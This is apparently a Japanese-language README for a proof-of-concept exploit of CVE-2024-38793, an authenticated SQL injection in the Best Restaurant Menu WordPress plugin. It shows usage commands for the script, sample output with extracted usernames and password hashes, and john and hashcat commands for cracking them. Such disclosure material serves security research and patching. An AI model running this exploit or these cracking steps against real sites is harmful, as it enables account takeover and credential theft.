
CVE-2024-38793 (PriceListoによるBest Restaurant Menu <= 1.4.1 - 認証済み (Contributor以上) SQLインジェクション) の悪用のための概念実証コード
CVE-2024-38793のエクスプロイトのための概念実証コード(Best Restaurant Menu by PriceListo <= 1.4.1 - Authenticated (Contributor+) SQL Injection)
これは、WordPressプラグインBest Restaurant Menu a.k.a Great Restaurant Menu WPのバージョン1.4.2未満に対するSQLインジェクション脆弱性CVE-2024-38793の概念実証エクスプロイトです。
この脆弱性は、brm_restaurant_menuショートコードを使用する際にgroups引数に対する入力サニタイズが不足しているために発生します。
注記: このエクスプロイトには、少なくともContributorレベルの権限を持つユーザーの認証情報が必要です。
このコードは、WordPressのユーザーテーブルからユーザー名とパスワードハッシュを取得しようとします。
CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC
Requires Contributor+ Privileges on a WordPress instance with the plugin installed
Credit: @ret2desync
Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes
Example usage:
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"
usage: CVE-2024-38793.py [-h] -t TARGET -u USERNAME -p PASSWORD [--proxy PROXY] [-o OUTFILE]
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password
CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC
Requires Contributor+ Privileges on a WordPress instance with the plugin installed
Credit: @ret2desync
Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes
Example usage:
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"
[*] Successfully signed in to Wordpress using contributor password
[*] Successfully created new post, id: 219
[*] Successfully saved new post with exploit, post id: 219
[*] Successfully grabbed usernames and password hashes
[*] Found 2 sets of credentials
[*** Credentials ***]
root:$P$BG.b.gHI.byee9PWs8GspKxY9qp0Cm0
contributor:$P$BBVRINbQUo28Tpbp3H7/iITT/Eo9aR0
[*] Crack hashes with:
john <hashes_file> --wordlist=<wordlist>
hashcat -m 400 -a 0 --username <hashes_file> <wordlist>
[*] Exploit completed successfully